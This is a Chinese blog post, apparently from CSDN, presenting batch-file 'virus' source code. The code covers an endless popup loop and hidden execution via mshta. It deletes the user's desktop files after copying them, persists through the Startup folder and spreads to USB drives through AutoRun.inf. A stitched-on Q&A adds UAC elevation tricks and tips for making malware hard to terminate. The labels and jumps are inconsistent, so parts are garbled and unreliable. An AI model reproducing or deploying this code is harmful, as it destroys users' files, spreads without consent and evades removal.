bat病毒代码介绍

下面是从网上汇总和自己编写的,转载转载请注明出处

无限弹窗病毒

@echo off

::这一行的意思是关闭回显

:start

::运行某程序

cmd

::开始运行命令提示符

goto 1

::从第一行开始运行

@echo off

::隐藏运行窗口功能

if "%1" == "h" goto begin 

mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 

:start

::在C盘储存桌面副本

xcopy "C:\Users\%username%\Desktop" C:\Desktopcopied /d /i>nul 2>nul

::清空桌面

del /f /s /q C:\Users\%username%\Desktop\*.*>nul 2>nul

goto 1

::开机自启功能

xcopy "%0" "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

goto open

:scan

::U盘传播功能

for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do (

fsutil fsinfo drivetype %%i: | findstr /i "可移动驱动器" >nul 2>nul && set find=1

if defined find (

xcopy "%0" "%%i"

Echo [autorun]>>%%i\AutoRun.inf

Echo Open=FoolDay.bat>>%%i\AutoRun.inf

attrib +H %%i\AutoRun.inf

goto start1

)

)

goto start1

### 如何让BAT脚本始终保持前台运行 为了使 BAT 文件始终处于前台运行状态,可以通过特定的命令组合以及 Windows 的 Shell 执行方式来实现。以下是详细的说明: #### 1. 使用 `mshta` 实现提权并保持前台运行 通过调用 `mshta` 和 VBScript 来创建一个新的 Shell 应用程序实例,并强制其以管理员权限运行 CMD 窗口[^1]。这种方式可以确保即使用户切换其他窗口,CMD 窗口仍然能够重新获得焦点。 代码如下: ```batch @echo off %1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close) && exit ``` 上述代码的作用是利用 HTA 提权技术,在新的进程中启动当前脚本,并赋予管理员权限。如果需要进一步控制窗口行为,则可以在后续部分加入额外逻辑。 #### 2. 利用 `start` 命令开启新窗口 当希望每次执行某些操作时都弹出独立的新窗口而不是隐藏原窗口时,可采用以下方法[^2]: ```batch start "" cmd /k your_command_here ``` 其中 `/k` 参数表示保留当前命令提示符窗口直到手动关闭;而 `your_command_here` 可替换为你实际要运行的内容。此设置有助于维持可见性以便观察进程进展状况。 另外需要注意的是关于不同参数对于窗口显示效果的影响差异对比表也已给出解释清楚了各种情况下的表现形式: | Command | Behavior | |----------------------------|--------------------------------------------------------------------------| | `cmd /c dir` | Executes the directory listing and closes the window afterward | | `cmd /k dir` | Keeps the window open after executing the directory listing | | `cmd /c start dir` | Opens a new window to execute the command but then exits | | `cmd /k start dir` | Starts another instance of CMD where it runs the specified instruction | #### 3. 防止被轻易终止 (模拟守护机制) 为了让恶意软件难以被检测到或杀死,还可以考虑定期重启自身或其他关联服务作为保护措施之一。例如每隔一段时间检查一次是否存在指定名称的服务或者应用程序正在运行当中如果没有则自动激活它们继续工作下去直至满足条件为止[^4]. 示例代码片段展示如何强行结束某个特定类型的进程: ```batch taskkill /f /t /im python.exe ``` 以上命令将会查找所有匹配名为 "python.exe" 的活动线程并将之彻底摧毁掉包括子级链接在内的全部组件结构树形图关系链路都被切断从而达到完全清除目标的效果. 最后值得一提的是虽然这里讨论了一些可能涉及非法用途的技术细节但是强烈建议仅限于合法合规范围内研究学习切勿滥用危害他人利益安全造成不良后果法律责任自负! --- ###
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值